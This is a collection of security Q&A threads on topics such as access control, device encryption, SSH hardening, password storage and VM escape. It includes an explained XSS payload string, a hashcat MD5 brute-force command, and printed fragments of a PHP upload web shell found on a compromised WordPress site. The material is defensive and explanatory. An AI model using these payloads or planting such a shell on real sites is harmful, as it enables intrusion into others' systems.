Protect Public Directories Linux Just for a brief overview. I have a system that can generate invoices and has a login system for a user to generate his/her invoices. Lets say the platform resides at /platform and the invoices in /platform/invoices and the platform is at the domain www.exmaple.com. People can log in and generate their invoices which effectively generates the invoice in the invoices folder and then via the url www.example.com/invoices/invoicename.pdf downloads the file. The invoices folder is publically accessible to allow the system to grab the file.

However if for example clientA navigated to www.example.com/invoices/invoicename-ownedbyclientB.pdf he would be able to download an invoice that did not belong to him.

I can certainly do things to mitigate this such as deleting the invoice after generation and downloads to keep the folder clean, disallow index on directories to stop easy navigation, change the system so that files are sent via email as opposed to downloaded to a system directory.

On the system side I can easily limit what people have access to as they are authenticated but what would be the best way to deal with the above situation. I have considered using htaccess or similar in this directory to ensure that calls originate from the server itself (I haven't check if this is possible, just an assumption at the moment).

Create sub folder's like /platform/invoices/useridclientA/. And store clientA's invoices in this particular sub folder.

Further disallow Navigation to this folder directly via server URL's like
https://www.example.com/platform/invoices/*.

Create a server side script(e..g PHP) which will validate the userid of ClientA and read the only clientA files on filesystem and allow him to download.

You can optionally further randomize filenames while generating invoices.


iPhone full disk encryption and theft protection? Is it possible to fully encrypt an iPhone? What cipher does it use and are there any weaknesses?

How can I protect my valuable data, such as email, when my iPhone gets stolen?

iOS4 has introduced (a somewhat secure) Full Disk encryption for the iPhone. The encryption itself is done by hardware and uses  AES-256 to encrypt your data.

An iPhone has two partitions:

System data
User data

The user data part gets encrypted with an AES-256 if enabled. The key for this is a passcode you must enter every time you want to unlock your phone. This ensures the data partition cannot be decrypted in an easy way. So if your phone gets stolen and the attacker doesn't have the passcode, he can't access your personal data.

The problem here is that's what Apple is telling us. There is a VERY BIG BUT that's following now.

Security researchers found out that the all of this security can be bypassed by a device that speaks the Apple control protocol.
Also there seems to be a problem that all of this can be bypassed if you are able to Jailbreak the phone. The problem with this option is that the iPhone itself needs to be paired prior to a computer prior to be able to do the Jailbreak (if there is a way to bypass this please leave a comment). When the phone is Jailbroken an attacker can install an SSH daemon and just take a raw copy of all your data...unencrypted now.

If the above is fixed by Apple, you would have a reasonble secure device. So to protect your data you will need some extra apps that allow you to remotely whipe your iPhone and secure your emails safely.

Now besides all that is also nice to note that Apple has provided a complete Security API for developers. They can use it to produce Apps that can securely encrypt just about anything. Unfortunately, there are few Apps using it.

Email clients:

GOOD for enterprise
Integrated Email client (apparently should encrypt all emails too, but I could be wrong if it relies on the same hardware security)

Wiping:

When using Exchange push email you can do this through the exchange client (for your email)
using iCloud, it has a feature to locate your iPhone and wipe it.

This are just some features and there are probably a lot more, so please feel free to share the knowledge and correct me if I'm wrong.


DUKPT / BDK Generation I am new to DUKPT.  I am in need of generating a BDK for a Project that involves POS transactions. The requirement for BDK is 3DES with 16 bytes key,  with Keying Option 1 where all the keys are independent.  How do I generate this BDK using openssl and also need to get an output key file so we can give it the application folks for the decryption of the POS transactions. Already have the KSN. Familiar with the IPEK generation process.  Just need to know how to generate BDK. Any help or guidance would be much appreciated. Thanks

The BDK should generated and stored on Tamper Resistant Security Modules (TRSM) usually an Hardware Security Module (HSM). There are cloud solutions like CloudHSM from AWS that can help with that.


What are the different payloads used for XSS vulnerability? I am new to information security field. I am searching for XSS vulnerabilities.

In XSS mostly they use <script>alert('XSS')</script> payload for attacking a websites.

In the case of bypassing the XSS filters, they might encode the payload and use the UpperCases <SCriPT>.

In a recent search, I have found a different payload for XSS \";alert('XSS');//. How come this payload can exploit the website?

I am not able to understand this payload. Can anyone explain to me how this works?
Are there any other different payloads used for exploiting the websites using XSS? If any please share me the payloads.
In what cases the payloads can be used?

By looking at this payload alone, without the rest of the code, it's probably hard to understand it.

Let's say there is JS and PHP code in a website:

<script>
var jsvar;
jsvar = "<?php echo $phpvar;?>";
</script>

What this code does is it simply assigns a user controlled variable from PHP to the JS variable jsvar. If the PHP variable contains the text test, then the JS variable will become:

jsvar="test";

If the user would enter just alert() into the PHP variable, the JS variable would become:

jsvar="alert()";

...which would not cause XSS because alert() would be just a string.

But if the user/attacker enters \";alert('XSS');//, the JS code would become:

jsvar = "";alert('XSS');//";

Here you can see that the attacker has assigned "" to the jsvar variable, and as the next command, he has entered alert('XSS');. The // on the end is just to comment out the rest of the line. And the \ sign at the beginning of the payload was just to escape the " sign in PHP, so that it is considered just as text in PHP.


Storing password to use later I have a deployment system with a user interface that is accessible over the Internet. I want to make it more secure by re rolling the password periodically over the API. Is there a safe way I can store the password locally on my computer? I’m worried about someone brute forcing the password on the publicly available interface.

Well - you are asking for trouble here with your current setup. Why do you have a deployment interface exposed to the web?

You need to add

IP whitelisting or host internally and connect into the network securely
2FA using an authenticator - SMS is out these days
Store the salted hash not the password
Use PBKDF2 or bCrypt for the hashing. Look up current suggested iterations numbers and imimplementation


What kind of attacks result in an attacker only being able to leak a site's database? Of the public disclosures I've seen from recently compromised sites, it seems common for only the database to be leaked, rather than the application code, or rather than a complete takeover. Is this because there is a class of common attacks that are limited to read-only database access?

The first few that come to mind are:

An SQL injection attack where the database user in question has only the SELECT privilege.
A compromise of the primary database backups or the offsite database backups.  While these aren't read only, there's little likelihood of escalating the compromise by writing to backups.
A compromise of a shell account on a database server.  Even though you could use root privileges on a database box to gain a user account in the database itself, this would probably be a noisy action that would get the compromise noticed.  You could still copy the entire database contents without being noticed.

It's also entirely possible that the attackers in the leaks you are talking about had full privileges or at least more privileges than just read-only but chose not to use them.  Or they did use them but that use hasn't been detected yet.  Or that they have the full application code but chose not to leak that.

An interesting thought I just had while writing this about preventing 1. by reducing the attack surface is to have a separate database user account that only has access to the credentials table and your normal, read-only user doesn't have access to this table.  That way, only an SQL injection in the login form can compromise your password hashes.  Any SQL injection in another part of the web application cannot see the password hashes (or whatever other sensitive data you have).


How to harden SSH on CentOS 6.5 I have a new (first time) CentOS 6.5 server being used for a web server. Our security team has identified the following weakness:

The SSH server is configured to allow either MD5 or 96-bit MAC algorithms, both of which are considered weak.

Note that this plugin only checks for the options of the SSH server and does not check for vulnerable software versions.

Plugin Output
The following client-to-server Method Authentication Code (MAC) algorithms
are supported :

 hmac-md5
 hmac-md5-96
 hmac-sha1-96

How do I disable MD5 and/or 96-bit MAC algorithms on a CentOS 6.5 server? I tried running: authconfig --disablemd5 --updateall but still had the same issue.

I am not completely sure, but you may want to look at the protocol setting in sshd_config.

From http://wiki.centos.org/HowTos/Network/SecuringSSH

# Protocol 2,1
Protocol 2

Change Protocol 1 to Protocol 2 and restart. This should already be set to Protocol 2 in Centos 6.5, but you may want to double check.

I found this run down of the different protocol options

http://www.snailbook.com/faq/ssh-1-vs-2.auto.html

Not sure if that is going to be enough to solve your particular issue though.

Do you know what they are using to check the configuration?

UPDATED:

This is from running man sshd_config on

Ciphers
         Specifies the ciphers allowed for protocol version 2 in order of preference.  Multiple ciphers must be comma-separated.  The supported ciphers are
         “3des-cbc”, “aes128-cbc”, “aes192-cbc”, “aes256-cbc”, “aes128-ctr”, “aes192-ctr”, “aes256-ctr”, “arcfour128”, “arcfour256”, “arcfour”,
         “blowfish-cbc”, and “cast128-cbc”.  The default is:

            aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,
            aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,
            aes256-cbc,arcfour

Also the Macs option:

MACs    Specifies the MAC (message authentication code) algorithms in order of preference.  The MAC algorithm is used in protocol version 2 for data
         integrity protection.  Multiple algorithms must be comma-separated.  The default is:

               hmac-md5,hmac-sha1,umac-64@openssh.com,
               hmac-ripemd160,hmac-sha1-96,hmac-md5-96,
               hmac-sha2-256,hmac-sha2-512

So I would take a look through those and set the options in your /etc/ssh/sshd_config file with the ciphers and macs that you want.


Some digitally signed pdfs shown as verified in the pdf viewers while others are not I have two pdf documents:

1 - My class 10 marksheet issued by the CISCE that I downloaded through digilocker.

2 - My Domicile certificate issued and downloaded from the aaplesarkar website.

Both documents are digitally signed, and show a green tick symbol when opened in Adobe Acrobat reader. But, when I the documents in a pdf viewer like Google Chrome on my PC or Pdf Viewer on my Android Phone, my marksheet shows a yellow question mark with the text "Signature Not Verified"

while my domicile certificate shows a green tick with the text "Signature vaid".

Why is this so? Is there anything I can do so that my marksheet also shows a green tick when opened in a pdf viewer?

Note that the digital signature on the Domicile certificate is in fact an actual digital signature and not just an image. I can right click the signature in Adobe Reader and click "Verify".

Thank you for your time.

Google Chrome's PDF viewer (and probably the viewer on your phone too) do not verify digital signatures at this time.

Here's a page from Google Support that says:

  To validate a digital signature, you must use Adobe PDF software, such as Adobe Acrobat Reader. PDF viewers such as Apple's Preview or Chrome’s PDF Viewer cannot be used.

The usual way to validate a digital signature is to use the free version of Adobe's PDF software. While other PDF software can also be used, if the signature doesn't verify with Adobe's sw, then some people will suspect the signature no matter what.

Also note that Adobe's PDF software has many options including whether the software will verify an OCSP. Or look up the signer's cert in the appropriate CRL.

If the setting is off (the default that I've seen), then the software can "successfully verify" a signature when the signature is not, in fact, valid. Whether that's good or bad depends on your goals... :-)


What are good tools for CRLF discovery? What are good tools for finding CRLF injection vulnerabilities?

CRLF injection can be used in IMAP/SMTP command injection and in HTTP Response Splitting.  In both cases BURP is the tool of choice.

Wapiti is a FOSS vulnerability scanner that can detect http response splitting.  The vast majority vulnerability scanners should be able to detect this attack.


hashcat not allowing increment option Basically I am trying to bruteforce a MD5 hash in two systems using hashcat. The hash is between 3-8 characters in length. But when I attempt to split the password tries in hashcat, it throws below error

Use of --skip/--limit is not supported with --increment or mask files.

I have been playing around with hashcat for a while now, modifying ?1 length, with and without ``-increment` options and etc. but none worked:
Hashcat Command I tried:
hashcat.exe -a 3 -m 0 81dc9bdb52d04dc20036dbd8313ed055 ?1?1?1?1?1?1?1?1?1 -1 ?a --increment --increment-min 3 -s 857375 -l 3317102156016625

I also tried to remove --increment --increment-min 3, with that the hashcat start cracking, but only tries 9 character passwords.
I basically I want to try the passwords that are 3 to 8 characters in length and want to split the attempts between two systems.

Just as the error says, --increment and skip/limit options are not compatible. There's no way to do what you're describing with a single hashcat command and a single mask. But if you expand your approach to include multiple masks or multiple invocations of hashcat, you can get there.
I presume that for a fast hash like MD5, running through the shorter lengths wouldn't really take much time - so it's length 8 that you are probably most interested in splitting across systems.
I'd use three commands:

On one system, a script/batch file that runs hashcat incrementing lengths 3 through 7, and then runs hashcat again simply with length 8 (the full mask, no increment-related commands necessary) with your desired skip/limit options

On the other system, just run length 8 with your other desired skip/limit options.


Vulnerabilities of RFID Smartcards Recently my organization wants to move into the smart card system instead of static password. We want to move the entire infrastructure to the smartcard system. we are looking for a single smartcard which provides physical and logical access. And also wanted to use the same smartcard for parking,cashless vending etc. (Using Javacard we can write custom apps and can read from the smartcard). All this is fine But the question arised when selecting the smartcard. Whether to select the COntactless smartcard or RFID smartcard.

RFID card will have the card detecting range is more than contactless smartcard (around 10 CM). That's why everybody wanted to move into RFID cards. But the cards will have most of the sensitive information. I have read so many articles saying the disadvantages of RFID cards and security loopholes when using RFID cards. But i am not sure any of those.

Can anybody explain in detail about the advantages and disadvantages of these cards (Contactless cards vs RFID cards)

Have a read of the How to get into RFID auditing question as there are some very useful links there.

Contactless cards and RFID cards are just a small computing core with some limited functionality and a radio transceiver which not only powers the card when a radio signal is present, but also receives and transmits data within a small range.

The key usual difference is that RFID is usually used to refer to a card which will identify itself when queried, whereas the Contactless Card term usually refers to an RFID with some onboard storage for small payments without having to insert a card into a machine or type a pin, for example Oyster cards for travel payments on London Underground.

Risks around cloning are mitigated to a great extent by the cryptographic engine on the card - and Ross Anderson's team at Cambridge keep on finding new attacks in the lab, but the key risk over cards which have to be inserted is that an attacker only needs to be in the general proximity, and doesn't need to steal the card, reducing the difficulty of attack. The range, while supposed to be very short, can be increased by attackers using higher power equipment and higher gain antennas.

The new wave of Contactless Card functionality - enabling credit/debit card payments - just extends this risk a bit further by increasing the amount of funds which could be accessed.


Help setting up Snort on Windows 7 I'm configuring Snort on Windows 7 with the help of this guy and I'm stuck at the following line in the config file:

  List of DNS servers on your network.

I have multiple, how do I separate them? Spaces, tabs, commas or something else?

Just incase anyone stumbles across this in the future, further down the conf file there are other lists, all of which are contained in square brackets.

For listing ports, you seperate these with commas. For listing IP addresses, you seperate these with commas also, however you need to put down the IP address, followed by a slash, followed by the base.

So my final solution was like so:

  [1.1.1.1/24,2.2.2.2/24]


If I have two identical linux virtual machine images, will they generate identical random numbers? A really noob question, I know, but something I was wondering about this morning. If this were the case, would they encrypt things identically?

Or maybe someone could direct me to a helpful research about how linux generates entropy and encrypts things? Google is giving me tangential results but nothing especially helpful.

Identical system images will generate different data when pulling from their randomness pool unless you're working a very sterile setup to move them along synchronously one clock cycle at a time.

Activity in the system affects the randomness pool based on events including hardware interrupts. Reality says that disk drives, network cards, and the moment you pressed the power button will all vary. Even a well-disciplined clock will have some variance between machines and that will grow over time.

Some good readings include an academic paper on the Linux RNG and the random.c file from the current kernel source (intentionally unlinked).


Is it a major security risk if your client_secret gets displayed for about 30 min - 1 hour before you notice it showing and you can remove it? Did something stupid, and asked a question on stackoverflow posted a little too much info without realizing it.

Is it a major security risk if your client_secret gets displayed for about 30 min - 1 hour on stack overflow before you notice it showing and you can remove it?

The only thing on Stack Overflow that might not be public forever is a comment. If you edit an answer or question all past versions are still available. Deleted questions and answers are still visible to mods as well as any user with enough rep. Even the chat sites retain permanent public transcripts. It's possible that you could have an admin actually remove something from the revision history, but I'm not 100% sure. In short, you should assume that anything you ever post to stackoverflow has permanently become public knowledge. So in this case, yes, change your client secret.

In general, if you were to post a secret to a public place for a brief period of time, only you can decide whether or not the "cost" of changing it outweighs the risk of someone using it. If the client secret protects something low-risk (imagine a Google maps API key that is only authorized for use from your server IP), then you may reasonably decide not to change it.

Personally though, unless the key is nearly impossible to change, I would change it no matter how short the exposure.


How is OpenSSL related to OpenSSH? Is OpenSSH using OpenSSL to encrypt traffic? Or something else?

OpenSSH is a program depending on OpenSSL the library, specifically OpenSSH uses the libcrypto part of OpenSSL.


Do technical advice sites sometimes link to malware, and if so, how should we properly research errors? Suppose you get an error on your PC that shows up randomly, then you do a search on the internet for the error to find out how to fix it.  Typically, you will get some sites that offer a solution, but some of those sites seem a bit sketchy, especially when they say to download this registry script or an executable tool to fix the problem.  My question is: do these "fix-it" sites sometimes include malware with their supposed fix?  If so, how should we properly resolve errors on our computers without exposing ourselves to such malware?

Example

Here is an example added for clarity... Let's say I keep getting a blue screen of death in Windows 10.  I search on the internet for "blue screen of death Windows 10".  The first site I come across is:

...windowsclub.com/blue-screen-death-windows-10

Note: I truncated to prevent people from clicking the link just in case it is malicious, and so I am not blasting a particular site.

Is it safe to "Click here to fix Windows errors..." in the website?  I do not believe it is a Microsoft website.

Note: As a security professional, common security sense tells me something could be up here, and don't "click here".  This may not be apparent to most users, or even some computer repair technicians though, and may or may not be a real threat.

Instead of "clicking here" what should I do so I don't expose myself to this possible threat, while still fixing the error?

In my experience, though it is uncommon to find malware embedded in these fix it scripts and registry keys, it does happen.

As such, I would highly recommend most users getting these types of patches and assistance from the vendor directly.

An experienced security professional could download the fix it script or registry key, open it and view it first, before applying it, to determine its safety.  But even then issues can be missed.


ASP NET Core Identity password reset form prompts for email address I notice that the default ASP.NET Core Identity templates ask for email address after the reset email notification link has been followed (i.e. the "choose a new password" form in the ResetPassword.cshtml view).

Why would having the user re-provide their email address when choosing a new password be more secure?

I get that the token could be sniffed from the email, but if that's the case, then surely the email address could be sniffed at the same time?

Probably just a usability oversight.

I don't think it has any relation to security as you can just open the reset link if you own the email address it is sent to. So, you know the email address. As you pointed, there is no reason to "protect" this email address and you can just fill it by default in the form which will save the user the trouble of typing it.


Why Bitlocker requires partition on some computers but not all We have HP desktop computers all identical.

I setup Bitlocker encryption on one, no partition was required and the computer was fully encrypted.

Second computer gave me a different result, Bitlocker needed to partition and shrink the drive by 800MB. After that the computer was encrypted.

Disk management shows the partition created for Bitlocker and another computer no partition made.

Why is Bitlocker doing this? Requiring a partition on one computer and not on another?

Second Computer: Partition created - Fully Encrypted

First Computer: No Partition - Fully Encrypted

I've never seen that behavior, and this is just a guess, but: BitLocker replaces the NTFS partition header (volume boot sector) with its own metadata, which contains the information needed to decrypt the disk (if a valid key is supplied), and also points to the "real" boot sector within the encrypted volume. The BitLocker metadata is also replicated across the volume in additional locations for redundancy, in space that NTFS marks as allocated but does not use for any files. As such, turning on BitLocker requires reserving some space on various parts of the partition, and it might be picky about what parts those changes are made to. It's possible that, for some reason, some of the changes that need to be made near the start of the volume could not be made (because files were currently in use), so BitLocker created a new partition from free space at the end of the volume and put some of its metadata there.

That doesn't explain it needing 852 MB, though; not sure what's up with that. The BL or NTFS volume metadata needs to fit on a boot sector, which is generally only 4 KB. I suppose it could be a copy of the NTFS Master File Table or something, but in that case I'd expect it to be encrypted too (and also the MFT needs to be accessed frequently, so putting it on a separate partition on the same physical storage doesn't make a lot of sense).

My other guess would be that it's additional OEM recovery / OS restore data, based both on the partition type and the approximate size. That doesn't make sense for one computer to have and the other not to, though, unless they were imaged differently (or the additional OEM / OS recovery data was deleted off one of them); I don't know how sure you are that the software / stored data on each machine is identical, vs. just the hardware and OS image.


Building a secure home network I am trying to design my next home network and I was curious if there was an accepted pattern or if something like my design would work.

-> Main Gateway AT&T Duel Modem Router combo
    |-> Nice Firewall something like a Sophos
            |->DMZ Router cheap router
                |->Web Server - Public facing
            |->LAN Router cheap router
                |->Home Network - xbox, pc's, iot devices
            |->Lab Router cheap router
                |->Pentest Network - vulnerable VM's galore

Would a setup like this benefit or hurt my network's security?

The caveat here is that I know very little about networking which is why I am trying to setup something complex at home.

My goals here are as follows

All three sub networks have access to the web
My Lab network isn't visible from the web
My Lab network can't see my home network or my web server.
My web server cant see my home network or my lab environment

I don't know if this is possible yet but that's why I am doing this.

Based on the information you have provided, i think you should start with having:
 - a good firewall (Sophos is ok, IF it has WAF (web app firewall) as blogs are mostly attacked using app level). But if you dont want to pay, then pFsense is also a good choice, its an all in one firewall.

host it behind cloudflare or incapsula (preferably paid packege having WAF and DDOS prevention in it)
IPS/IDS for detection and prevention of attacks (pFsense has snort for it or suricata)
Network design seems to be ok, so its better to have vLANS for network segregation
Monitoring system (with logging based on any SIEM, like OSSEC)

I think that should be enough for you


What are escalation pathways from a VM to its host? If I want to check out a dodgy link from a friend, I've started opening these in a virtual machine. I'm assuming that if the VM gets hacked, the host where I do internet banking etc will still be fine. Under what circumstances does this assumption hold?

e.g. I can imagine shared folders and a shared clipboard could potentially be used to attack a host once an attacker has control of a VM. Possibly shared access to USB ports could be another vulnerability. Is this realistic, and are there any other things to be aware of? How paranoid would I have to be before worrying about this kind of threat model?

My question is primarily about VMs installed on desktop hosts, but information on potential threats to cloud hosting services would also be interesting.

An advanced attacker could compromise a hypervisor through emulated device drivers more easily than through clipboard handling. The way a hypervisor works is by providing a new execution environment for a guest, and exposing emulated hardware. When a driver in the guest tries to access the virtual hardware by, for example, reading and writing to PCI BARs to interact with PCI devices, the hypervisor's emulated device software will hear the request, temporarily pause the running guest, and emulate in software what the actual hardware would have done before unpausing the guest and allowing it to see the results. This allows the guest to be effectively unaware of its underlying virtual environment. When you think of the emulated devices as acting merely as a proxy, implementing a complex and often poorly documented protocol between the guest software (which is designed to talk to real hardware) and the host hardware (which is capable of listening to software), it's easier to see how a bug in the parsing of such complex data structures could result in a security breach.

This is a look into some of the security caveats of a hypervisor, specifically QEMU with KVM, though the general concepts should apply to pretty much any hypervisor software.

Note that most of the time, exploiting a bug in emulated devices requires the attacker to have privileged access to the guest. They have to completely compromise the guest before they are even allowed to interact with the emulated hardware. If the guest itself is sufficiently secure, then the hypervisor will likely be, as well.

The full version of the famous quote from Theo de Raadt, founder of OpenBSD:

  x86 virtualization is about basically placing another nearly full
  kernel, full of new bugs, on top of a nasty x86 architecture which
  barely has correct page protection.  Then running your operating
  system on the other side of this brand new pile of shit.

  You are absolutely deluded, if not stupid, if you think that a
  worldwide collection of software engineers who can't write operating
  systems or applications without security holes, can then turn around
  and suddenly write virtualization layers without security holes.

  You've seen something on the shelf, and it has all sorts of pretty
  colours, and you've bought it.

  That's all x86 virtualization is.

In the end though, the chances that a "dodgy link" will contain a hypervisor-breaking 0day are pretty remote. If anything, it'll have an exploit for an old version of Flash, used to download botnet software.


What do the [-], [+], [!] line prefixes mean in exploit outputs? When you're using exploits, in the output, every line is prefixed with a symbol inside a set of square brackets.

For example:

[+] Set arguments.
[-] Running exploit.
[!] Warning server returned 404.

What are all the different ones and what do they all mean exactly?

They are simply ASCII icons for the type and level of log entries.

Many commandline programs do this, not just exploit code - it makes it easier to read the output.

I'm not sure that there is an established standard, but if you read the source code, you can see what decisions the devs made in their program.


Is drive-by-download possible with NoScript? I am using and getting my friends to use NoScript, and the argument I usually have to use to convince them is "It prevent website to infect you without you downloading something (by yourself)".

But now that I read a bit about malware, I m not so sure anymore about this, and I d like confirmation;

With Firefox updated to last version and NoScript, is it possible to get infected by drive-by-download without actively trying to get infected?

A drive-by-download can refer to several things.

A download that happens with the user's consent, but they didn't really understand that the consequences.
A download that happens without the user's consent or knowledge

The first method is not very "drive-by" in my opinion, but it is still useful to recognize that this is still possible.

Tricking someone into downloading a file can be as simple as them thinking they are clicking a regular link and then downloading an EXE, PDF, etc. You don't need JS or a plugin to do this, but it helps. A very simple example would be a "popup" (just a piece of html styled with CSS to look like a popup) that says "you have a problem with your computer, click ok to download a fix." Clicking this would initiate the download of an EXE, that the user may or may not run.

The second method is a little more rare, and little more dangerous because it can affect even the computer-savvy user. This often involves some sort of exploit in the browser/OS itself or a plugin (flash, adobe reader, etc). NoScript would prevent any exploit that relied on javascript/plugin that was hosted on a domain that was not whitelisted. So if you whitelisted security.stackexchange, and someone hacked into the server and added malicious JS, then you would not be safe from this. NoScript will also not protect you from any other OS/browser vulnerabilities that do not get blocked by NoScript obviously. Take for example, the Windows Metafile vulnerability. It required no JS/plugin and allowed for arbitrary code execution on the victim's machine.

The basic answer to your question is that, yes, drive-by-download is still possible with noscript installed. Even technically possible with javascript and other plugins disabled. However, keep in mind that it still helps to mitigate the threat.


RxR__kyfet.php - Found this in the Root of my site's directory. What does it do? While going through the root directory of my site I found this RxR__kyfet.php file. This is a wordpress site.

I don't know php well enough to tell exactly what it does but it seems rather suspicious. I checked previous backups of the site and that file was not present.

I removed the file it but did keep a backup just in case.

Can anyone help me identify what it does for future reference?

It appears to be an interface for uploading files to the local system.  If you did not upload the file yourself, then it would appear that your system is compromised.  Your safest bet is to rebuild the system from scratch, and apply the latest security patches for wordpress & any plugins that you use.

Here's the linked code for posterity:
    ' . 'Uname:' . php_uname() . '' . $cwd = getcwd();
Echo '          ';
if (!empty($_FILES['uploads'])) {
    move_uploaded_file($_FILES['uploads']['tmp_name'], $_FILES['uploads']['name']);
    Echo "alert('upload Done');          Uploaded !!!name : " . $_FILES['uploads']['name'] . "size : " . $_FILES['uploads']['size'] . "type : " . $_FILES['uploads']['type'];
} ?>


Is PGP for user authentication a good idea? I am building a web site that provides user login. For that, I am currently researching good strategies for dealing with authentication.

How I'm doing it right now

My current concept is modeled after what seems to be the common consensus right now. Passwords are salted with 64 bytes from /dev/urandom and then hashed with 100 rounds of SHA-512. After every round, the original password is concatenated to the result and then fed into the next round. When a user wants to log in, they send their credentials to the server, where the described procedure is then repeated (using the same salt, obviously) and compared to the hash in the database.

This strategy seems adequately secure to me (please correct me if I'm wrong, it is basically just the result of reading a lot of online guides and watching YouTube videos). However, I think it has a major flaw, which is the client having to send the password in plain text to the server. Yes, I naturally use HTTPS, but still, if the connection was somehow compromised for whatever reason, so is the password.

The alternative concept

So I thought of an entirely different approach: using PGP keys. When a user signs up, they generate a PGP key pair, encrypt the private key using a password of their choice and send it to the server. When they want to log in again, the server generates a string of random characters and encrypts it using the public key. The encrypted random string and key pair are then sent to the client, who will need to decrypt it again to prove they have the private key's password.

This method would prevent the password from ever being transmitted over the network and even allow for cool stuff like end-to-end encrypted chat between users. The only drawback I could find is the server having to give out encrypted private keys to basically anyone who requests them, making brute-force attacks way easier. I could mitigate that by running a computationally expensive key expansion algorithm on the client side and use the result of that for encrypting the private key.

But I still don't really trust the whole thing, and so I would love to hear your feedback on whether this is a good idea or if I should just stick with how I'm doing it right now.

EDIT:

Based on some of the answers, I think my question is a little misleading. My requirement is that the only thing users ever need to provide for successful authentication is their username/password and nothing else, regardless of what device they are using or whether they were logged in on that device before.

You should never try to secure a "real" web application with a scheme that you invented on your own. As such we shouldn't discuss practicalities on how you would actually implement or use such a method.

Will it work?

Your scheme does not send a password over the wire. What immediately jumps out is that you send the private key to the server, which never does anything with it, for no reason. Yes, it is supposedly still protected by the password, but why?

As others have pointed out, the private key is supposed to remain with the owner.

Even if you consider the private key's password encryption, there is the following problems (at least):

Handing out the private key in your scheme is essentially the same as making the password hash public: Anyone can now do an offline dictionary attack against the key's password; and nobody can stop that.
Even worse, they can get the key for a given login, meaning that they can check if a user exists and then attack the password for the user name.

With a small modification, your scheme would be a very simple form of public key authentication:

The client creates a key pair, and sends the public key to the server
To log in, the server sends out a random string.
The client signs the string and sends it back to the server.
The server verifies the signature to make sure the client has the private key

Something like this is actually already possible in https using client certificates. The same thing is used for ssh.

The Challenge-Response mechanism mentioned by ThoriumBR is another way of authenticating, although the implementation described there assumes that the server stores the password in cleartext -- which is much more dangerous than sending it over an encrypted connection.

Will it be "better"?

No. The scenario that you want to defend against is supposedly that someone gets inside the encrypted https connection. If you assume that this is the case, they would not only be able to read the password but also steal your session cookie and all the data that is shown in your session. In that case, the attacker has already won, regardless of whether they read the password or not.

You could of course roll your own encryption and authentication, but the question is why you'd think that this will be better than the https connection?

The realistic scenario isn't that someone breaks the https connection, it is that someone breaks into the server's database and tries to "recover" the passwords in an offline attack. This is what most authentication schemes try to defend against.

The danger with passwords is not that they are interceptable, but that they can be guessed.

What should you do in real life?

For a "real" web application, use an established framework and a well-known authentication library. Don't write it yourself, because it is easy to get wrong and very hard to get right.

Don't use SHA-anything for hashing the passwords, use a dedicated password-hashing function such as bcrypt or PBKDF2 to make attacks more difficult (see this answer also). You can also use or add some TOTP mechanism for your app, which is better than just a password.

Addendum

You added the following after I wrote my answer:

  My requirement is that the only thing users ever need to provide for successful authentication is their username/password and nothing else, regardless of what device they are using or whether they were logged in on that device before.

This explains why you want to send the private key back to the server, although it doesn't change the reason why it is a bad idea.

You could still use a challenge-response mechanism, like ThoriumBR suggested. There are even advanced challenge-repsonse mechanisms such as SRP which use clever math to avoid storing the password on the server.

However, all those mechanisms, and also client-side hashing (see this answer), have one thing in common:

They need to execute code on the client side.

In a web app, this can only be Javascript sent by the server. Implementing the client side is not the problem (there is even a OpenPGP library), but since you worry about the security of the https connection, you have another problem:

Any man in the middle could therefore simply inject malicious client side code to steal the password, rendering your whole clever mechanism obsolete.


How do I migrate my private key from one device to another in instant messaging app? I was thinking about end-to-end encryption for my chat application, but I am struggling to understand how do I migrate my private keys from one device to another.

One option I thought is to store private keys somewhere very secure (which I can't imagine of), but it will expose the privacy...

Another option is to do something with the password to encrypt messages...

Is there anyone who can help with or make any suggestions how to implement end-to-end encryption with a possibility for users to start using same app on another device or similar?

If you have a mobile application, you can store the private key securely using Android or iOS secure storage.

On your application, you could create a configuration option to export the private key, encrypting the key and showing a QR-Code or something like that. You then would scan the code on the other device, enter the password to decrypt, and import.


Site password being used to secure ZIP download, are they storing my password in plaintext? Recently a utility provider has started to attach a zip file including my bill inside, however, they have secured the zip file using my online web account password.
I am not too concerned about somebody getting my bill, however, it concerns me in two other ways...
First, would this now allow for easier dictionary attacks? If a malicious actor where to get a hold of the zip file, they could run a dictionary attack against it with no real knowledge right? Online they would be able to try and prevent this however when this media is downloaded there is no way to put in any preventatives.
Second, are they storing my password in plaintext (or another recoverable format)? It seems unlikely they would be able to use the same hash across both the site and the zip file they are sending out, right?
I use a unique long/secure password for this account, as well as a unique email, so I am not too worried about the issue affecting me personally.
Thanks ahead!

First, would this now allow for easier dictionary attacks? If a malicious actor where to get a hold of the zip file, they could run a dictionary attack against it with no real knowledge right?

Yes. They could perform an offline attack, with no limitation on number of attempts.

Second, are they storing my password in plaintext (or another recoverable format)?

Most likely, yes. They keep the password in plaintext around. At least from the point you enter it to log in up to the point you download the ZIP file, but probably it's stored plaintext in the database.

It seems unlikely they would be able to use the same hash across both the site and the zip file they are sending out, right?

In theory, it could be possible if the site and the ZIP use the same KDF. I don't think anybody in their right mind would do this. And even if that were the case, the ZIP files still contain your password hash and still allow an offline attack.


Firefox jetpack store.json stores all my visited domains! Using firefox-45.3.0-1.el7_2.x86_64. Why does Firefox store all my visited domains, even when I'm using "never remember history" and clear all cache, use bleachbit to clear out thing?

Question: Is this a privacy issue? Why does Firefox do such a thing? How to find out which add-on causes this?

/home/user/.mozilla/firefox/aaaaaaaa.default/jetpack/aaa1-aaaaaaaaaaaaaa@jetpack/simple-storage

Why does Firefox store all my visited domains, even when I'm using
  "never remember history" and clear all cache, use bleachbit to clear
  out thing?

  Question: Is this a privacy issue? Why does Firefox do such a thing?

Only you can decide if this is a privacy issue. As long as noone can read the files in your profile, probably not. Otherwise it might be.

Firefox itself should not do this if you set "never remember history". However, an addon may do this on its own.

  How to find out which add-on causes this?

You can look at the name of the file to find out.

The filename you give is:

  /home/user/.mozilla/firefox/aaaaaaaa.default/jetpack/aaa1-aaaaaaaaaaaaaa@jetpack/simple-storage

The part after "jetpack" ("aaa1-aaaaaaaaaaaaaa@jetpack" in your example) is the ID of the add-on responsible for this directory. You can look up this ID in addons.json in your profile folder.

If the ID is not in addons.json, the add-on is (no longer) installed - in that case the files may be left over from a deinstalled add-on. In that case there's probably nothing to worry about, because the file will no longer be updated. You can probably delete it (keep a backup though, just in case).

If you still want to know what deinstalled add-on was at fault, you can search for the add-on ID on the web. This will usually tell you what add-on uses this ID.


